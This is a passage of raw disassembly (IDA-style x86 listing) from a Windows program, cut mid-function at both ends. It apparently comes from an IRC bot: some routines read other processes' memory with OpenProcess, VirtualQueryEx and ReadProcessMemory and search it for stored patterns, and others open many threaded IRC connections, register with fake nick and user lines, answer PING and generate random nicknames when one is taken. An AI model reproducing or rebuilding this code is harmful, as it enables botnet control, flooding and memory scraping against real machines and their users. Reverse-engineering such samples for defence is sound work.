		add	edi, 434h
		mov	dword_4D4A5C, eax
		mov	dword_4D4A60, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		call	dword_427070	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_42708C	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_427160	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_427158	; VirtualQueryEx
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_427150	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_42715C	; ReadProcessMemory
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3840
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4040
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		call	dword_427070	; CloseHandle


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A5C, ebx
		mov	dword_4D4A60, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	dword_427070	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A58
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427150	; RtlAllocateHeap
		mov	ecx, dword_4D4A58
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A60
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A64
		push	eax
		call	dword_4D4844
		push	[ebp+var_4]
		mov	edi, offset dword_4D4850
		push	offset dword_4D3840
		push	offset dword_4D4040
		push	[ebp+arg_0]
		push	offset dword_4386CC
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A58
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_427154	; GetProcessHeap
		push	eax
		call	dword_427150	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4040
		mov	edi, 200h
		mov	esi, offset dword_4D3640


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A58
		add	eax, eax
		push	eax
		push	dword_4D4A60
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4844
		mov	eax, dword_4D4A58
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3840
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386CC
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3840
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43871C
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		call	dword_427154	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA64	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA24	; inet_addr
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA68	; gethostbyname
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C	; connect
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA7C	; closesocket


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A088 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A6C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA34	; send


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB18C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC8 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_439334
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439330
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_439324


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A74[esi]
		mov	dword_4D4A68[esi], edi
		push	dword_4D4C74[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A6C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A6C[esi]
		call	dword_4CBA34	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A6C[esi]
		call	dword_4CB9FC	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A6C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A68[esi], ebx
		mov	esi, dword_4D4A6C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA7C	; closesocket


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A68


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB188
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A74[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C74[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A68[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_438A6C+4[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438770[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	dword ptr loc_438A6C+4[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
